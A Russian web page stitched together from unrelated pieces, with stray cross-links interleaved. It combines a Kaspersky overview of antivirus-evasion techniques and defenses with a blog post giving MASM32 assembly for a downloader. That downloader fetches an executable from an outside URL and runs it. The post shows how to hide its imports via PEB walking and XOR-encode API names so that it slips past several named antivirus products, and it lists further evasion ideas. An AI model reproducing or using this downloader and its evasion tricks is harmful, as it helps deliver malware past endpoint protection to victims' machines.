Как изолировать программу от антивируса

В современном мире антивирусное ПО – это важнейший элемент защиты конечных точек, в том числе компьютеров и серверов, используемых как частными лицами, так и крупными организациями. Антивирусное ПО – ключевой элемент защиты от киберугроз, но это не значит, что его нельзя обойти. Киберпреступники используют различные техники обхода антивирусной защиты.

Как работают антивирусные программы?

Задача антивирусного ПО – определить, является ли файл вредоносным, и сделать это максимально быстро, пока тот не вмешался в работу пользователя. Два наиболее распространенных метода обнаружения вредоносного ПО – это эвристический и сигнатурный анализ.

  • Эвристический анализ оценивает функционал файла, используя специальные алгоритмы и шаблоны для отслеживания возможной подозрительной активности.
  • Сигнатурный анализ оценивает форму файла, занимаясь поиском строк и шаблонов, совпадающих с уже известными образцами вредоносного ПО.

У создателей вредоносных программ есть два пути сражения с антивирусом: на диске устройства или в оперативной памяти. Типичным примером вредоносной программы, сохраняемой на диске, является простой исполняемый файл. У антивируса есть больше времени на сканирование и анализ файла, сохраненного на диске. Если вредоносное ПО загружается в оперативную память, у антивируса меньше времени на реагирование и в целом вероятность успешной атаки зловредов будет выше.

Defender Control 2.0 новая версия программы отключения Защитника Windows

Ограничения антивирусного ПО

Хотя использование антивирусного ПО рекомендуется для защиты компьютера, оно не делает устройство полностью неуязвимым для взлома. Типичная программа-антивирус использует базу данных вредоносных сигнатур на основе ранее идентифицированных зловредов. Как только обнаружен новый образец вредоносного ПО, для него создают цифровую сигнатуру и добавляют в базу данных.

Это значит, что существует период уязвимости между появлением нового зловреда и обновлением баз данных антивирусных программ. В этот период зловред потенциально способен посеять хаос. Таким образом, хотя антивирусные программы обеспечивают дополнительный уровень защиты, они не могут полностью устранить все угрозы.

Вдобавок растет число независимых языков операционных систем, которые могут быть использованы для написания вредоносного кода. А это значит, что одна-единственная вредоносная программа потенциально способна поразить большее количество пользовательских устройств. По мере того как киберугрозы становятся все более изощренными, антивирусные программы должны совершенствоваться, чтобы не отстать от них. Поскольку хакеры постоянно оттачивают технику обхода антивирусной защиты, а ландшафт угроз все более усложняется, это оказывается непростой задачей.

Техники уклонения от антивирусной защиты

Для достижения своих целей киберпреступники разработали целый ряд техник уклонения от защиты, в том числе следующие.

Защитник Windows 10 Настройка для начинающих Как пользоваться Исключения

Упаковка и шифрование кода
Большинство червей и троянских программ упаковываются и подвергаются шифрованию. Для упаковки и шифрования хакеры разрабатывают специальные утилиты. Каждый файл, упакованный с помощью CryptExe, Exeref, PolyCrypt и некоторых других утилит, был признан вредоносным. Чтобы обнаруживать упакованные и зашифрованные черви и троянские программы, антивирусная программа должна иметь в своем арсенале либо новейшие технологии распаковки и дешифрования, либо актуальные сигнатуры для каждого образца вредоносной программы.

Мутация кода
Киберпреступники стараются маскировать свои вредоносные программы, подвергая их замусориванию, чтобы код принимал другой вид, но при этом сохранялся весь исходный функционал троянца. Иногда мутация кода происходит в реальном времени во всех или почти всех случаях загрузки троянской программы с зараженного веб-сайта. Эта технология была использована в почтовом черве Warezov, что стало причиной серьезных проблем для пользователей.

Методы сокрытия присутствия вредоносных программ
Руткит-технологии, которые обычно используются в троянцах, позволяют перехватывать и подменять системные функции, чтобы сделать зараженный файл невидимым для операционной системы и антивирусных программ. Иногда вредоносной программе удается скрыть даже разделы реестра, в которых зарегистрирована троянская программа, и другие системные файлы.

Блокирование антивирусных программ и обновление антивирусных баз
Многие троянцы и сетевые черви активно ищут антивирусные программы в списке активных приложений на компьютере жертвы. Затем вредоносные программы пытаются сделать следующее:

  • блокировать антивирус;
  • повредить антивирусные базы;
  • нарушить процесс обновления антивирусного программного обеспечения.

Чтобы победить вредоносные программы, антивирус должен защитить себя, контролируя целостность своих баз данных и скрывая свою работу от троянских программ.

Маскировка кода на веб-сайте
Разработчики антивирусов быстро узнают адреса веб-сайтов, содержащих файлы троянских программ. Затем вирусные аналитики изучают содержимое этих сайтов и добавляют в свои базы новые вредоносные программы. Однако чтобы веб-страница не была обнаружена антивирусом, киберпреступники могут изменить ее таким образом, что в ответ на запрос разработчиков антивирусных решений вместо троянца будет загружаться обычный файл.

Читайте также:
Можно ли запускать презентацию powerpoint при отсутствии программы powerpoint

Атаки количеством
При атаке количеством в интернете за короткое время распространяется большое число новых версий троянской программы. В результате разработчики антивирусов вынуждены анализировать сразу огромное количество новых образцов вредоносного ПО. Киберпреступники надеются, что время, которое будет затрачено на анализ всех образцов, даст их вредоносному коду шанс проникнуть на компьютеры пользователей.

Угрозы нулевого дня

Ваша антивирусная программа регулярно обновляется. Обычно это происходит в ответ на угрозу нулевого дня. Угроза нулевого дня – это техника уклонения, использующая уязвимость программного или аппаратного обеспечения для внедрения вредоносного кода до того, как антивирусная программа успеет эту уязвимость исправить.

Бесфайловые вредоносные программы

Это более новый способ запуска вредоносного ПО на устройстве, не требующий его сохранения на диске. Бесфайловые вредоносные программы выполняются только в памяти устройства, что позволяет им обходить антивирусное сканирование. Посещение зараженной веб-страницы не приводит к прямой загрузке вредоносного ПО.

Вместо этого используется ранее выявленная уязвимость в соответствующей программе. С ее помощью устройство заставляют загрузить вредоносный скрипт в память, откуда он и начнет выполняться. Бесфайловые вредоносные программы особенно опасны тем, что после окончания их работы или перезагрузки устройства память очищается, и в ней не сохраняются следы несанкционированной установки вредоносного ПО.

Фишинг
Фишинг – одна из самых распространенных техник, которую киберпреступники используют для кражи информации. Во время фишинговой атаки злоумышленник вводит жертву в заблуждение, выдавая себя за надежный или хорошо знакомый источник. Если пользователь перейдет по вредоносной ссылке или загрузит зараженный файл, злоумышленник может получить доступ к его сети и похитить конфиденциальную информацию. Антивирусное ПО может обнаруживать только уже известные угрозы и недостаточно эффективно против вновь появившихся.

Браузерные атаки
Антивирусные программы не имеют доступа к операционным системам, что позволяет браузерным атакам обходить их защиту. Эти атаки заражают устройства при помощи вредоносных скриптов и вредоносного кода. Для предотвращения подобных атак в некоторые браузеры встроены средства защиты, но чтобы они были эффективными, их необходимо использовать правильно и на постоянной основе.

Кодирование вредоносного ПО
Еще одна технология обхода антивирусного сканирования – кодирование вредоносного ПО. Киберпреступники часто делают это вручную с помощью некоторых инструментов. Когда программа доставлена по назначению и активирована, она декодируется и начинает свою вредоносную работу.

Обычно это делается с помощью небольшого заголовочного файла, прикрепленного к фронтальной части закодированного вируса. Антивирусное ПО воспринимает закодированный вирус не как угрозу, а как безобидную цепочку данных. Таким образом, когда заголовочный файл активируется (например, встраиваясь в уже имеющийся исполняемый файл), он декодирует вредоносную программу в определенную область памяти, запускает там счетчик команд и выполняет вредоносный скрипт.

Как бороться с уклонением вредоносных программ от антивирусной защиты

Использование антивирусного ПО должно быть основой общей стратегии кибербезопасности. Однако, как показано в этой статье, предприятиям не стоит полагаться исключительно на него в вопросах своей киберзащиты. Для обеспечения оптимальной защиты следует инвестировать в многоуровневый подход к кибербезопасности. Дополнительными инструментами защиты от проникновения киберпреступников в вашу компьютерную сеть являются следующие.

Шифрование устройств
Шифрование устройств гарантирует, что никто не получит доступ к хранящимся на них данным без соответствующего пароля или ключа. Даже если устройство похищено или заражено вредоносной программой, качественное шифрование может предотвратить несанкционированный доступ к данным.

Многофакторная аутентификация (MFA)
MFA предусматривает предоставление пользователем дополнительной информации для получения доступа к устройству (например, цифрового кода с ограниченным сроком действия). Это обеспечивает более надежную защиту, чем простое использование пароля. Это особенно важно, если на устройствах или в учетных записях хранится конфиденциальная или личная информация.

Менеджеры паролей
Использовать пароли необходимо для защиты учетных записей и сетей, при этом крайне важно, чтобы они были надежными и уникальными для каждой учетной записи. Надежный пароль состоит минимум из 15 символов (в идеале больше) и представляет собой комбинацию заглавных и строчных букв, цифр и специальных символов. Менеджеры паролей – ваши верные помощники. Они надежно сохраняют ваши уникальные пароли и защищают их от хакеров.

Тренинги по кибербезопасности
В условиях роста киберпреступности компаниям следует информировать сотрудников о рисках, связанных с киберугрозами, и порядке действий в случае возникновения угроз. Информируя сотрудников о ландшафте киберугроз, вы поможете им научиться идентифицировать подозрительную активность, например фишинговые письма и т. д.

Endpoint detection and response (EDR)
EDR-решение мониторит ситуацию в сети и в конечных точках и сохраняет данные в журнале событий. EDR-системы предоставляют сотрудникам службы ИБ всю необходимую информацию для понимания характера кибератак, передают автоматические предупреждения и помогают ликвидировать последствия в конечных точках.

Киберпреступники редко используют только одну технику обхода антивирусной защиты. Наоборот, вредоносное ПО рассчитано на самые разнообразные сценарии, что повышает его шансы на успех. Но сообщество ИБ-специалистов не теряет бдительности, постоянно изучает новейшие технологии обхода антивирусной защиты и разрабатывает новые способы борьбы с ними.

Читайте также:
Как установить программу на Айфон с интернета

Статьи по теме:

  • Что такое безопасность конечных точек и как она работает?
  • Как вредоносные программы проникают в системы
  • Социальная инженерия
  • Классификация вредоносных программ
  • Выбор антивирусного решения

Рекомендуемые продукты:

Как киберпреступники пытаются обойти антивирусную защиту

Антивирус – это важнейший элемент киберзащиты, но иногда его получается обойти. Узнайте больше о техниках обхода антивирусной защиты, используемых вредоносными программами.

Источник: www.kaspersky.ru

Как скрывать процессы от антивирусов

Как скрывать процессы от антивирусов

Listen to this article

Чтобы открыть контент, необходимо пройти быструю регистрацию или войти в свой профиль. После этого Вы получите полный доступ ко всем материалам на портале.

Спасибо что вы с нами!

Обходим все популярные антивирусы, или лажовая защита в действии

На днях лень было заниматься чем-то сложным, поэтому решил заняться трендовым нынче направлением — обманом антивирусов. Сейчас статей типа «апходим мегакрутой онтевирус» в том же журнале «Хакер» развелось немеряно, причем способы обхода антивирусов авторы выбирают наиприметивнейшие: банальное шифрование строк статическим ключом, добавление формальных задержек (Sleep) и прочие вещи, вводящие в заблуждение только самые недалекие антивирусы. Представьте: автор пишет херню на 3-4 страницы, размазывая на них анализ своего мегавируса тремя антивирусами, и в итоге даже не способен обойти все из выбранных антивирей, а получает за это 5000 рублей. Несправедливо, тем более времени на написание такой статьи необходимо совсем немного, часа два!

Итак, я потратил около часа на то, чтобы написать программу, скачивающую из интернета exe-файл и сразу запускающую ее. Удалось обойти антивирусы Kaspersky Internet Security 2011, NOD32, Dr. Web, Microsoft Security Essentials и Avast. Скорее всего, и другие бы ничего не заметили, просто не проверял. А антивирусы из списка выше даже не пикнули, когда запускался файл, скачанный только что из интернета.

Сразу скажу — я приведу не только тот способ, которым воспользовался в своей программе, но и некоторые идеи по обходу, которые я не проверял, но которые вполне могут быть на руку (и это не шифрование строк простым xor’ом со статическим ключом).

Я выбрал язык assembler и компилятор MASM32. На ассемблере удобно можно творить беспредел, в отличие от других языков. Итак, сначала моя программа приняла такой вид:

Assembly (x86)
. model flat , stdcall
option casemap : none
include masm 32 include windows . inc
include masm 32 macros macros . asm
uselib kernel 32 , user 32 , urlmon , shell 32
start PROC

invoke URLDownloadToFile , 0 , chr $ ( «http://kaimi.io/hello_world.exe» ) , chr $ ( «hello_world.exe» ) , 0 , 0

invoke ShellExecute , 0 , chr $ ( «open» ) , chr $ ( «hello_world.exe» ) , 0 , 0 , SW _ SHOWNORMAL
invoke ExitProcess , 0
start ENDP

Конечно, она была удалена моим антивирусом сразу после сборки. Еще бы — подряд идут две самые глупые и палевные функции — URLDownloadToFileA и сразу за ней ShellExecuteA. Но! Я не собираюсь использовать другие функции, я собираюсь надрать антивирусам задницу, используя именно эти простейшие, дабы показать, насколько у нас по-прежнему несовершенна антивирусная защита.

Первое, что мне пришло в голову — скрыть имена этих функций из таблицы импорта и искать их адреса хитрым образом через PEB (это недокументированная структура Windows, которая выдается каждому процессу системы и содержит массу полезной информации, я когда-нибудь напишу про нее статью, а пока что можете поискать описание на ntinternals). Мне ничто не мешало это сделать, тем более, я и макросы для вызова функций без использования таблицы импорта не так давно писал. Что ж, воспользуемся ими:

Assembly (x86)
. model flat , stdcall
option casemap : none
include masm 32 include windows . inc
include masm 32 macros macros . asm
include no _ import . asm
uselib kernel 32 , user 32
start PROC

noimport_invoke_load chr $ ( «URLDownloadToFileA» ) , chr $ ( «urlmon.dll» ) , 0 , chr $ ( «http://kaimi.io/hello_world.exe?12» ) , chr $ ( «hello_world.exe» ) , 0 , 0

noimport_invoke_load chr $ ( «ShellExecuteA» ) , chr $ ( «shell32.dll» ) , 0 , chr $ ( «open» ) , chr $ ( «hello_world.exe» ) , 0 , 0 , SW _ SHOWNORMAL

invoke ExitProcess , 0
start ENDP

Вкратце: через PEB мы ищем адрес ядра (kernel32.dll), парсим его таблицу экспорта до тех пор, пока не найдем функцию GetProcAddress, а с ее помощью получаем адрес функции LoadLibraryA. Этих двух функций нам вполне достаточно для получения адресов всех необходимых нам функций в любых библиотеках. Теперь у программы всего один импорт — ExitProcess, его я вызвал явно, как и в первом варианте. После этого NOD32 сразу посчитал файл легальной программой и даже дал ему исполниться! Но вот Dr.Web продолжал определять программу как Trojan.Downloader. «Неужели они умеют эмулировать PEB?», — подумал я. Но не тут-то было, они, по всей видимости, просто считали, что если в программе есть строки URLDownloadToFileA и ShellExecuteA, то это вирус!

Давайте их зашифруем. Только зашифруем так, как это нужно делать, чтобы только на реальной машине они расшифровывались без проблем. Воспользуемся малоизвестной WinAPI-функцией, о которой антивирус, скорее всего, ничего не знает:

Читайте также:
Программа где меняются лицами на Айфоне

Assembly (x86)
. model flat , stdcall
option casemap : none
include masm 32 include windows . inc
include masm 32 macros macros . asm
include no _ import . asm
uselib kernel 32 , user 32
string_coder PROC data : DWORD
LOCAL buf [ 16 ] : BYTE
invoke lstrlen , data
mov esi , data
mov edi , eax
invoke SetLastError , 0
invoke QueryDosDevice , chr $ ( «C:» ) , addr buf , 5
invoke GetLastError
and al , 0Fh
xor byte ptr [ esi ] , al
jmp next _ sym
mov eax , data
string_coder ENDP
start PROC
LOCAL funcname : DWORD
noimport_call_prepare
fname db «[EMf~gefhm]fO`elH» , 0
mov funcname , FUNC ( string _ coder , offset fname )

noimport_invoke_load funcname , chr $ ( «urlmon.dll» ) , 0 , chr $ ( «http://kaimi.io/hello_world.exe?12» ) , chr $ ( «hello_world.exe» ) , 0 , 0

mov funcname , FUNC ( string _ coder , chr $ ( «ZaleeLqlj|>lH» ) )

noimport_invoke_load funcname , chr $ ( «shell32.dll» ) , 0 , chr $ ( «open» ) , chr $ ( «hello_world.exe» ) , 0 , 0 , SW _ SHOWNORMAL

invoke ExitProcess , 0
start ENDP

А теперь по порядку. Добавилась процедура string_coder, принимающая единственный параметр — указатель на строку, которую необходимо расшифровать или зашифровать. Так как я использую операцию xor для шифрования, функция обратима: прогнали ей один раз строку — получили зашифрованную, прогнали второй — расшифровали.

Но я не использую статический ключ шифрования, я, как уже и сказал, воспользовался функцией QueryDosDevice, которая позволяет получить некоторую информацию о желаемом диске. Вся фишка тут в том, что я передал ей вполне легальные параметры, но вот размер буфера очень ограничил (последний параметр функции — 5 байтов, а этого явно мало для записи целой длинной строки с информацией).

А это значит, что функция вернет ошибку (0), и дальше я проверяю это. Но и это еще не все — после такого обращения к функции последняя ошибка будет выставлена в ERROR_INSUFFICIENT_BUFFER, о чем антивирус вообще едва ли знает, и именно это значение (после некоторых преобразований, чтобы зашифрованный вариант был текстовым, как и оригинальная строка) я и использую для шифрования строк. В остальной части программы ничего не поменялось, за исключением того, что теперь я сначала расшифровываю зашифрованные строки и только после этого вызываю сами функции. Теперь у меня и импорты менее приметные стали — используются штатные функции SetLastError, GetlastError, QueryDosDevice и ExitProcess.

Теперь программа не то что не определяется, но и даже спокойно выполняется под контролем всех антивирусов, которые я перечислил в начале статьи — Kaspersky Internet Security 2011, NOD32, Dr. Web, Microsoft Security Essentials и Avast. Такими результатами вполне можно гордиться. Как мы только что выяснили, ни один из этих антивирусов не эмулирует PEB и ядро kernel32, подгруженное всегда в любой процесс Windows (или просто не знает ничего о функции QueryDosDevice, или вообще и то и то одновременно).

Скорее всего, после написания этой статьи такой способ быстро будет обнаруживаться по сигнатурам, но это ведь не мешает немного изменить код и добиться прежнего результата?

А теперь еще несколько мыслей по обходу, которые могут сработать (и точно работают со многими антивирусами). Эти способы совершенно не новы, но это не делает их устаревшими и неактуальными.

1. Запуск программой самой себя с некоторыми параметрами командной строки, обработка параметров и выбор пути дальнейшего действия в зависимости от переданных параметров, либо же использование переданных параметров для расшифровки некоторого блока кода, который не нравится антивирусам.

2. Использование сообщений Windows. В принципе, все как и в первом пункте, просто следует слать себе некое сообщение (либо пользоваться стандартными сообщениями Windows) и использовать в обработчике полученное сообщение как ключ шифрования либо как маркер для выбора дальнейшего пути исполнения.

3. Использование в коде большого количества малоизвестных WinAPI-функций (что, впрочем, я сделал в этом примере), применение возвращенных значений или кодов ошибок в дальнейшей логике программы.

4. Запись собственного кода в некое место штатной API-функции в памяти (это, естественно, затронет только наш процесс, т.к. DLL с API-функциями грузятся в каждый процесс отдельно), а затем ее вызов.

5. Для вирусов типа «скачай из интернета плохой exe-файл — запусти его» можно вместо URLDownloadToFile использовать, например, сокеты либо еще какие-то сетевые API Windows — и количество антивирусов, определяющих такую малварь, сразу уменьшится раза в полтора-два.

Если немного подумать, можно и другие способы привести и реализовать, но этих пока хватит.

Собранный исходный код я не выкладываю, если кого-то заинтересует тема, сможет собрать его и сам. И помните: материал приведен лишь с той целью, чтобы показать слабые места существующих современных антивирусов, а не сподвигнуть вас на написание тонн вирусов — за это нести ответственность будете вы сами.

Источник: kaimi.io

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru